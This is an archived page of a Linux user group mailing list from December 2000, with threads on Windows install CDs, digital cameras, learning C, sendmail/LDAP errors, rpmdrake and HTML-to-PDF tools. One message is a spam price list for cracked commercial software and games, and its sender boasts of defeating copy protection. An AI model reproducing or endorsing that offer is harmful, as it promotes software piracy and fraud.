-------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001222/55dcd700/attachment.htm From chrome at real-time.com Fri Dec 22 18:29:22 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. In-Reply-To: <004301c06c84$e6a50070$0300000a@ANELGINANALAS>; from mbresnah@visi.com on Fri, Dec 22, 2000 at 06:06:02PM -0800 References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> <20001222162305.B27815@real-time.com> <004301c06c84$e6a50070$0300000a@ANELGINANALAS> Message-ID: <20001222182922.J27815@real-time.com> > That's odd, because I have Windows NT 4.0, Windows 98, Windows 98 SE, and > Windows 2000 Professional CDs that all boot. which release of NT is it? AFAIK, NT4sp1 wasn't bootable. (and stayed on store shelves entirely too long...) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From mbresnah at visi.com Fri Dec 22 21:02:19 2000 From: mbresnah at visi.com (Mike Bresnahan) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> <20001222162305.B27815@real-time.com> <004301c06c84$e6a50070$0300000a@ANELGINANALAS> <20001222182922.J27815@real-time.com> Message-ID: <009a01c06c8c$c3900230$0300000a@ANELGINANALAS> It doesn't list any service packs on the blue bootup screen. Mike ----- Original Message ----- From: "Carl Wilhelm Soderstrom" To: Sent: Friday, December 22, 2000 4:29 PM Subject: Re: [TCLUG] how anti-piracy measures make piracy more likely. > > That's odd, because I have Windows NT 4.0, Windows 98, Windows 98 SE, and > > Windows 2000 Professional CDs that all boot. > which release of NT is it? AFAIK, NT4sp1 wasn't bootable. (and > stayed on store shelves entirely too long...) > > Carl Soderstrom > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From chrome at real-time.com Fri Dec 22 21:36:50 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] amusing comic -- Term Unit X (TUX) Message-ID: <20001222213650.K27815@real-time.com> If you're into comics, this is worth a read: Post-apocalyptic cyborg mutant penguin fights the forces of Megasoft... http://www.linuxports.com/TUX/index.lxp the geek humor is very thick. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From esper at sherohman.org Sat Dec 23 00:24:47 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] Polaroid PhotoMax Fun Flash Message-ID: <20001223002447.A31144@sherohman.org> I have just had a Polaroid PhotoMax Fun Flash digital camera bestowed upon me, only to discover that (aside from being a cheap model which will probably serve only to get me hooked on digital cameras so that I have to go buy an $800 model a month from now...) it's not supported by gphoto. A google search only turned up a bunch of reviews for the camera which happen to have links to "linux" sections on them; none even mention linux within the article itself. And, although I've found a Kodak-Digitalcam-HOWTO, there doesn't seem to be a HOWTO on digital cameras in general. Can anyone suggest some other places to look for information on getting images off of this particular camera working without having to descend into the underworld of Windows? -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From jethro at freakzilla.com Sat Dec 23 00:33:02 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] Polaroid PhotoMax Fun Flash In-Reply-To: <20001223002447.A31144@sherohman.org> Message-ID: Hi, On Sat, 23 Dec 2000, Dave Sherohman wrote: > I have just had a Polaroid PhotoMax Fun Flash digital camera bestowed upon > me, Man, I was so close to deleting this as spam (: I don't know about your model... I have a Sony DSC S70... some Sonys are supported by gPhoto but I don't know about USB support. Anyone know what the device names for USB are? -Yaron -- From tobytoo at black-hole.com Sat Dec 23 02:00:52 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> Message-ID: <3A445BB4.D3D39854@black-hole.com> They are not bootable, You need the boot floppy to install DOS drivers first. Michael Bresnahan wrote: > I'm confused, as far as I know, all of my Windows install CDs are > bootable. How else would you install on a machine with no OS? > > Mike Bresnahan > ---- > Carl Wilhelm Soderstrom wrote: > > > here's the story of an end-user who really *would* like to have > > fully-legal-and-licenced MS software; but finds he can't actually *do* > > anything with it unless he resorts to some potentially-gray practices. > > > > http://www.theregister.co.uk/content/4/15621.html > > > > Carl Soderstrom > > -- > > Network Engineer > > Real-Time Enterprises > > (952) 943-8700 > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From photon55 at mail.com Sat Dec 23 01:18:10 2000 From: photon55 at mail.com (photon55@mail.com) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] OS & Games Software Message-ID: <200012231016.eBNAGKn25764@sprite.real-time.com> Are you still using an old operating system? Why not upgrade to a newer and more reliable version? You'll enjoy greater features and more stability. Microsoft Dos 6.22 $15 Microsoft Windows 3.11 $15 Microsoft Windows 95 $15 Microsoft Windows 98 SE $20 Microsoft Windows Millenium $20 Microsoft Windows 2000 Pro $20 Microsoft Windows 2000 Server $50 Microsoft Windows 2000 Advanced Server (25CAL) $65 As well, why not try out some of the greatest office applications below? A am selling perfectly working copies of Microsoft Office 2000 SR-1 Premium Edition for a flat price of $50 USD. The suite contains 4 discs and includes: Word Excel Outlook PowerPoint Access FrontPage Publisher Small Business Tools PhotoDraw Office Developer 2000 is available as well for $65 and is the Premium version with Developer Tools. If you are would like to order, please email me. I accept checks,money orders, and PayPal(Allows use of creditcards with 3% surcharge.) The software are virus checked and copied correctly with the best software and hardware available. In other words, they work flawlessly. CDR's as you know cost very little and there is little reason for me to rip you off. The highest cost is the time and effort I spent in defeating the copy protection system properly. I will definitely send the software upon receipt of payment.   Mand Some of our other titles that are immediately available are Adobe Acrobat 4.0 $20 Adobe AfterEffects 4.1 $29 Adobe Dimensions 3.0 $29 Adobe FrameMaker 5.5 $29 Adobe Go Live 5.0 $29 Adobe Image Styler 1 $29 Adobe InDesign 1.5 $20 Adobe Illustrator 9 $29 Adobe PageMaker 6.5 $29 Adobe Pagemill 3 $29 Adobe Photoshop 5.5 $29 Adobe Photoshop 6 $35 Adobe Premiere 5.1 $29 Adobe Photodeluxe 3.0 $20 Adobe Pro Jpeg 3.0 $20 Adobe Streamline 4.0 $20 MS DOS 6.22 (disk) $15 MS Exchange 2000 Server $35 MS Map Point 2001 $25 MS Money 2000 *Deluxe $25 MS Office 2000 Professional $35 (Word, Excel, Outlook, Access, Power Point, and Front Page) MS Office 2000 Premium $50 (Word, Excel, Outlook, Access, Power Point, Front Page, Photodraw, Publisher, and Business tools) MS Office 2000 Prem. Developer $65 (Everything in Office Premium plus Powerful Tools for software developers) MS Picture It 2001 $30 MS Project 2000 $30 MS Proxy Server 2.0 $30 MS SQL Server 7.0 $50 MS SQL Server 2000 Enterprise $50 MS Windows 3.11 (disk) $15 MS WIndows 95 $15 MS Windows 98 SE $20 MS Windows 2000 Pro $20 MS Windows 2000 Advanced Server $65 MS Windows Millenium (winME) $20 MS Works 2000 $30 MS Visio 2000 Server $50 2 Disc(Network add ons included) MS Visual Basic 6 Professional $30 MS Visual Studios 6 Enerprise $50 (Visual Basic, Visual C++, Visual InterDev 6.0, Visual J++, Visual FoxPro) 3D Studio Max 3 $35 Alias Wavefront Fusion 2.0 $50 Alias Wavefront Maya 3.0 $50 Autocad 2000 $35 Autocad 2000i $40 Corel Draw 9 $29 Corel Draw 10 $35 Corel Suite 2000 *Dutch $35 (WordPerfect 9, Corel Presentations, Quattro Pro, Dad, CorelCENTRAL, PerfectFit) Macromedia Dreamweaver 4 $30 Macromedia Fireworks 4 $30 Macromedia Flash 5 $30 Nico's Commander 5.3 $15 Novell Netware 5.o $35 Quark Express 4.1 $40 Partition Magic 6 $25 Scansoft Paperport 7 $20 Windows Commander 4.51 $15 Winfax 9 $9 (CLEARANCE) Winfax 10 $25 All games are $15 each Age of Empires II Age of Empires II Conquerors Civilization 2 Darkstone Deer Hunter 3 Grand Theft Auto 2 Ground Control Home World Roller Coaster Tycoon Shogun Sims Simcity 3000 Soldiers of Fortune Rogue Spear Who wants to be a millionaire 2 7 Guest Absolute Zero Aages of Empire Air Warrior Army Men 2 Beneath a Steek Sky Castles 2 Civilization 2 Command & Conquer: Red Alert Diablo Diablo 2 Duke Nukem 3D Dungeon Keeper Earth 2140 Enemy Inestation European Air War Fallen Haven Fighter Squadron Forced Alliance Frankenstein Freespace Freespace 2 Gnome Grim Fandango Independence War Imperium Galactica Interstate 76 Starcraft Starcraf:Broodwars Grandtheft Auto Lost in Time Masters of Orion II Mechwarrior 2 Microcosm Mighty Morphin Power Rangers Need for Speed 5 Power Monger & Populous Quake 3 Rebel Assault Redneck Rampage Redline Racer Rogue Sear Simcity 3000 Soldiers of Fortune Space Quest Collection Space Shuttle Star Trek: Armada Star Trek Captain's Chair Starfleet Acadeny Starfleet Command Stratosphere Spycraft: The Great Game Star Control 3 Star Trek: TNG Final Unity Starwars Force Commander Starwars Rebel Assault 2 Stonekeep Soldiers of Fortune Who Wants to be a Millionair 2 Superbike Topshot Ultima Collection Unreal Uprising Uprising 2 US Navy Fighters Warbird 2 Warcraft Warcraft Expansion Wild Metal Country Wing Commander 3 Wings of Glory Xcom Apocalypse Xwing Alliance Z From jethro at freakzilla.com Sat Dec 23 04:25:42 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] OS & Games Software In-Reply-To: <200012231016.eBNAGKn25764@sprite.real-time.com> Message-ID: Ok, this one gets points for humor.... On Sat, 23 Dec 2000 photon55@mail.com wrote: > Are you still using an old operating system? Why not upgrade to a > newer and more reliable version? ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Such as... > Microsoft Windows 3.11 $15 -Yaron -- From blutgens at sistina.com Sat Dec 23 10:37:10 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] OS & Games Software In-Reply-To: ; from jethro@freakzilla.com on Sat, Dec 23, 2000 at 04:25:42AM -0600 References: <200012231016.eBNAGKn25764@sprite.real-time.com> Message-ID: <20001223103710.A10029@athena.sistina.com> On Sat, Dec 23, 2000 at 04:25:42AM -0600, Yaron wrote: > > Ok, this one gets points for humor.... I disagree Yaron. What I wouldn't give for five minutes alone with the pile of garbage that does stiff like this. Can we say physical pain and mental anguish? -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001223/a1ed29b3/attachment.pgp From jethro at freakzilla.com Sat Dec 23 12:35:39 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] OS & Games Software In-Reply-To: <20001223103710.A10029@athena.sistina.com> Message-ID: Hi, On Sat, 23 Dec 2000, Ben Lutgens wrote: > > Ok, this one gets points for humor.... > I disagree Yaron. What I wouldn't give for five minutes alone with the pile of > garbage that does stiff like this. Can we say physical pain and mental > anguish? Hey, I'd like to nuke them into te stone age too, but it was still somewhat funny in a "wow, that guys's stupid!" kind of way. -Yaron -- From blutgens at sistina.com Sat Dec 23 13:05:40 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] OS & Games Software In-Reply-To: ; from jethro@freakzilla.com on Sat, Dec 23, 2000 at 12:35:39PM -0600 References: <20001223103710.A10029@athena.sistina.com> Message-ID: <20001223130540.B10443@athena.sistina.com> On Sat, Dec 23, 2000 at 12:35:39PM -0600, Yaron wrote: > >Hey, I'd like to nuke them into te stone age too, but it was still >somewhat funny in a "wow, that guys's stupid!" kind of way. I guess, but I battle these turds everyday. I just figured it was a given that he was stupid. hmm, drum up business by irritating people....yeah..that's the ticket. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001223/59ed16ee/attachment.pgp From jamie at floyd.getsetnet.net Sat Dec 23 13:14:28 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? Message-ID: Are there any people in here learning C and interested in C programming in Linux? Thought it might be good to know who is so we can ask questions of each other. - Jamie From jethro at freakzilla.com Sat Dec 23 13:09:49 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] OS & Games Software In-Reply-To: <20001223130540.B10443@athena.sistina.com> Message-ID: Hi, On Sat, 23 Dec 2000, Ben Lutgens wrote: > I guess, but I battle these turds everyday. I just figured it was a given that > he was stupid. Dude, I got crackers thrown in prison. I've fought The Evil too. It was fun. But seeing physical proof of their stupidity is still neat. Makes you feel MORE superior. -Yaron -- From mtsqph at yahoo.com Sat Dec 23 14:16:36 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? Message-ID: <20001223201636.25069.qmail@web10302.mail.yahoo.com> --- Jamie Ostrowski wrote: > > > > Are there any people in here learning C and > interested in C > programming > in Linux? > Thought it might be good to know who is so we can > ask questions of each > other. Jamie, Yes, but unfortunately, my Linux box is down... actually down,.. lost by UPS... and my present box only has 2GB... and the dreaded "W" word on it... but I am still checking in with the TCLUG list.... I have been using Richard Stones and Neil Matthews book... Beginning Linux Programming (2nd Ed.) for my C intro. Should be back at the EMACS soon... stick around... there are more lurking about. __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From kethry at winternet.com Sat Dec 23 13:34:13 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? In-Reply-To: Message-ID: I'm starting my C++ class next month if that counts ;)... Liz kethry@winternet.com On Sat, 23 Dec 2000, Jamie Ostrowski wrote: > > > > Are there any people in here learning C and interested in C > programming > in Linux? > Thought it might be good to know who is so we can ask questions of each > other. > > > > > - Jamie > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From kethry at winternet.com Sat Dec 23 13:34:13 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? In-Reply-To: Message-ID: I'm starting my C++ class next month if that counts ;)... Liz kethry@winternet.com On Sat, 23 Dec 2000, Jamie Ostrowski wrote: > > > > Are there any people in here learning C and interested in C > programming > in Linux? > Thought it might be good to know who is so we can ask questions of each > other. > > > > > - Jamie > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From thouck at thouck.com Sat Dec 23 14:40:27 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] OS & Games Software In-Reply-To: <20001223130540.B10443@athena.sistina.com> Message-ID: It kinda follows the "telemarketer mentality" of "'No' means 'maybe' unless it's given twice" (they always ask twice as though I'm going to say "Ahh what the hell... give me the encyclopedias and here's my credit card number..." On Sat, 23 Dec 2000, Ben Lutgens wrote: > hmm, drum up business by irritating people....yeah..that's the ticket. --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From tanner at real-time.com Sat Dec 23 15:37:31 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] IM spam ? Message-ID: <20001223153731.J5792@real-time.com> Not really a linux question, but since there are IM clients for linux I thought I would ask. Got many complaints from clients who are getting IM spam. Since I have never used IM before, I don't know much about it. Anyway, is there an equivalent to MAPS or ORBS for IM? My gut tells me no. Even if there was, the IM server people would have to implement it. Anyone? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From mtsqph at yahoo.com Sat Dec 23 16:31:38 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? Message-ID: <20001223223138.82013.qmail@web10301.mail.yahoo.com> --- Liz Burke-Scovill wrote: > > I'm starting my C++ class next month if that counts > ;)... > > Liz Liz, Where are you taking C++? Just curious... - Manuel __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From kethry at winternet.com Sat Dec 23 18:15:35 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Schools and Programming - Java class review. In-Reply-To: <20001223223138.82013.qmail@web10301.mail.yahoo.com> Message-ID: St. Paul Tech - it's part of my C++/Java Programmer's certificate. I just finished Java Programming 1 - I wanted to wait until I have more practical experience before taking Java Programming 2 - besides I havne't started on the C/C++ track yet and that's core to the certificate. Anyway... I don't know much else about the other teachers there but I really liked the Java class that Ken Krutsch taught. For one, instead of the Java in 21 Days-like books that the other instructors chose, Ken chose the Java Programming book published by Sun. Supposedly he was supposed to teach towards certification, but as he said on day 1, he wouldn't get to teach us as much as he did, and besides, we wouldn't remember it after the exam anyway. So...the first half of the semester was spent learning the basic language elements, installing compiling, running Java programs that speak with the command prompt as opposed through a GUI, etc...the second half of the course went through discussing probably the more important API's - java.awt.*, javax.swing.*, multithreading, streams, servlets, etc... He's been programming for about 15 years professionally, and picked up Java when the white paper was released. Since Java came out, he's been professionally programming it, usually as a consultant, and usually as the person they called to clean up code. What this meant was a) there were times where he was difficult to understand but he really gave us a good core understanding of the language - where it came from, how it can be implemented, and how to write things different ways - always emphasizing error handling and non-spaghetti code. Let's see - on the linux side - well, he's a unix guy from way back, so would give us all of the cool tips and tools - which wouldn't run on Windows - because he uses linux primarily at home - for those that had to use windows, he provided us with links to unix shell programs that allowed you to use your command prompt as if you were in unix - and could use vi, emacs, etc...was pretty cool - unfortunately he didn't give instructions on how to install them, and much of the software provided I didn't have time to fiddle and play with until I could get it to work - not with two kids and full time job in addition to WAY TOO MANY outside interests like Renn Fest, etc., but I digress.... I spent the first half of the semester wondering if I would even pass the class as this was my first programming class in 10 years...and I didn't do well on the test, but what I found was no matter what I did on the tests, I came away with a really thorough understanding of the language (I did Ace the final, btw) - and was able to use it in my job to analyze a rather large web based application... Soooooooooo.....the long and the short of it is - if you can ever take a class by Ken Krutsch - definitely do so... Liz On Sat, 23 Dec 2000, grey Moon-Wolf wrote: > > --- Liz Burke-Scovill wrote: > > > > I'm starting my C++ class next month if that counts > > ;)... > > > > Liz > Liz, > Where are you taking C++? Just curious... - Manuel > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. Millions of Products. > http://shopping.yahoo.com/ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From nolanjm at juno.com Sat Dec 23 19:02:49 2000 From: nolanjm at juno.com (Jerry M Nolan) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #554 - 15 msgs Message-ID: <20001223.190250.-505119.0.nolanjm@juno.com> My full install of w98se had a floppy ( 1yr old) ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From lueyb at gridley.ACNS.Carleton.edu Sat Dec 23 18:51:41 2000 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] rpmdrake (man 7.2) weirdness Message-ID: I have only the 1st cd for Mandrake 7.2, so I opened rpmdrake , went to preferences and removed the 2nd cdrom entry. The hard drive went thrashing and it started to remove all these rpm entries. It gave an error on a nfs package and we started. Ever since when I start RpmDrake it pops up a error "RpmDrake was unable to find any package Please check your installation. If you made an NFS install, check the NFS directories are still correctly mounted." I can't find its rpm database. When I go to perferences to add a media type for the cdrom (it has 0 media's setup now), when I I click ok, I get the same error message.(saem for ftp entry) I don't know what file(s) it is missing, but my basic rpm stuf seems fine. Any idea how to rebuild this database? Thanks, Ben From tobytoo at black-hole.com Sat Dec 23 19:55:04 2000 From: tobytoo at black-hole.com (Brian Toberman) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? Message-ID: <243702000120241554350@black-hole.com> I am begining to learn C++, in both Win and Linux. It's a occupational hazard. ---- Original Message ---- From: jamie@floyd.getsetnet.net To: tclug-list@mn-linux.org, Subject: RE: [TCLUG] Any newbie C programmers here? Date: Sat, 23 Dec 2000 13:14:28 -0600 (CST) > > > > Are there any people in here learning C and interested in C >programming >in Linux? >Thought it might be good to know who is so we can ask questions of >each >other. > > > > > - Jamie > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list > > From tobytoo at black-hole.com Sat Dec 23 19:55:32 2000 From: tobytoo at black-hole.com (Brian Toberman) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Any newbie C programmers here? Message-ID: <1535020001202415532550@black-hole.com> ---- Original Message ---- From: jamie@floyd.getsetnet.net To: tclug-list@mn-linux.org, Subject: RE: [TCLUG] Any newbie C programmers here? Date: Sat, 23 Dec 2000 13:14:28 -0600 (CST) > > > > Are there any people in here learning C and interested in C >programming >in Linux? >Thought it might be good to know who is so we can ask questions of >each >other. > > > > > - Jamie > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list > > From tanner at real-time.com Sun Dec 24 04:20:00 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Sendmail and LDAP Message-ID: <20001224042000.B23468@real-time.com> After compiling the latest version of sendmail against openldap, I get the following error: options.c:326: ldap_set_option: Assertion `( ( ld )->ld_options.ldo_valid == 0x2 )' failed. Anyone else seen this before? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sun Dec 24 05:05:12 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:09 2005 Subject: [TCLUG] Sendmail and LDAP In-Reply-To: <20001224042000.B23468@real-time.com>; from tanner@real-time.com on Sun, Dec 24, 2000 at 04:20:00AM -0600 References: <20001224042000.B23468@real-time.com> Message-ID: <20001224050512.A25813@real-time.com> Quoting Bob Tanner (tanner@real-time.com): > After compiling the latest version of sendmail against openldap, I get the > following error: > > options.c:326: ldap_set_option: Assertion `( ( ld )->ld_options.ldo_valid == 0x2 > )' failed. > > Anyone else seen this before? > Have not solved this problem, but I have found out what caused it. sendmail with tls turned on fails when you have this in the /etc/nsswitch.conf passwd: files ldap nis shadow: files ldap nis group: files ldap nis Remove the ldap and all works well. This look at why this fails. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sun Dec 24 05:26:36 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] Sendmail and LDAP In-Reply-To: <20001224050512.A25813@real-time.com>; from tanner@real-time.com on Sun, Dec 24, 2000 at 05:05:12AM -0600 References: <20001224042000.B23468@real-time.com> <20001224050512.A25813@real-time.com> Message-ID: <20001224052636.C25813@real-time.com> Quoting Bob Tanner (tanner@real-time.com): > Quoting Bob Tanner (tanner@real-time.com): > > After compiling the latest version of sendmail against openldap, I get the > > following error: > > > > options.c:326: ldap_set_option: Assertion `( ( ld )->ld_options.ldo_valid == 0x2 > > )' failed. > > > > Anyone else seen this before? > > > > Have not solved this problem, but I have found out what caused it. > > sendmail with tls turned on fails when you have this in the /etc/nsswitch.conf > > passwd: files ldap nis > shadow: files ldap nis > group: files ldap nis > > Remove the ldap and all works well. > > This look at why this fails. > > Upgrade to nss_ldap-123 and all works fine. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From mtsqph at yahoo.com Sun Dec 24 10:27:25 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] rpmdrake (man 7.2) weirdness Message-ID: <20001224162725.12278.qmail@web10302.mail.yahoo.com> --- Ben Luey wrote: > I have only the 1st cd for Mandrake 7.2, so I opened > rpmdrake , The full set of discs is available for about $25 at Walmart.... with documentation. __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From lueyb at gridley.ACNS.Carleton.edu Sun Dec 24 12:38:05 2000 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] kword kchart kooffice won't start Message-ID: I have a default install of mandrake 7.2. I don't think I've messed anything up. When I try to open kword, or wchart, or aynthing, I get: [lueyb@localhost lueyb]$ word koffice (lib kofficecore): ERROR: Couldn't find the native MimeType in kword's desktop file. Check your installation ! Any ideas? Ben From lueyb at gridley.ACNS.Carleton.edu Sun Dec 24 12:39:49 2000 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] abiword won't do spell check Message-ID: I have the default install of abiword. I have ispell installed and it works fine. When I open abiword, the spell-check options are disabled. When I go to preferences all the spell-check related options arte greyed out. Is abiword looking for some spell program (ispell?) that it isn't finding? abiword 0.7.1.1 Thanks, Ben From jethro at freakzilla.com Sun Dec 24 16:02:22 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] HTML to PDF? Message-ID: Hi, Anyone know a decent HTML to PDF converter? I tried htmldoc but it screwes up tables... and other stuff, too... -Yaron -- From mtsqph at yahoo.com Sun Dec 24 18:16:21 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] HTML to PDF? Message-ID: <20001225001621.82581.qmail@web10303.mail.yahoo.com> --- Yaron wrote: > Hi, > > Anyone know a decent HTML to PDF converter? I tried > htmldoc but it screwes > up tables... and other stuff, too... > > -Yaron StarOffice 5.2 ????? WordPerfect 8...??? __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From jethro at freakzilla.com Sun Dec 24 21:41:28 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] HTML to PDF? In-Reply-To: <20001225001621.82581.qmail@web10303.mail.yahoo.com> Message-ID: Hi, On Sun, 24 Dec 2000, grey Moon-Wolf wrote: > > Anyone know a decent HTML to PDF converter? I tried > > htmldoc but it screwes up tables... and other stuff, too... > StarOffice 5.2 ????? WordPerfect 8...??? Where exactly is the PDF output option in Staroffice?... WP8 I no longer have since it totally sucked. -Yaron -- From isla0005 at tc.umn.edu Mon Dec 25 00:37:54 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] HTML to PDF? References: <20001225001621.82581.qmail@web10303.mail.yahoo.com> Message-ID: <3A46EB42.B3505682@tc.umn.edu> There is a perl module available for that but not very good with tables. On windows there is certainly Adobe products which will install a driver to make PDF out of almost everything. Apu grey Moon-Wolf wrote: > --- Yaron wrote: > > Hi, > > > > Anyone know a decent HTML to PDF converter? I tried > > htmldoc but it screwes > > up tables... and other stuff, too... > > > > -Yaron > StarOffice 5.2 ????? WordPerfect 8...??? > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. Millions of Products. > http://shopping.yahoo.com/ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at sistina.com Sun Dec 24 22:43:11 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] HTML to PDF? In-Reply-To: ; from jethro@freakzilla.com on 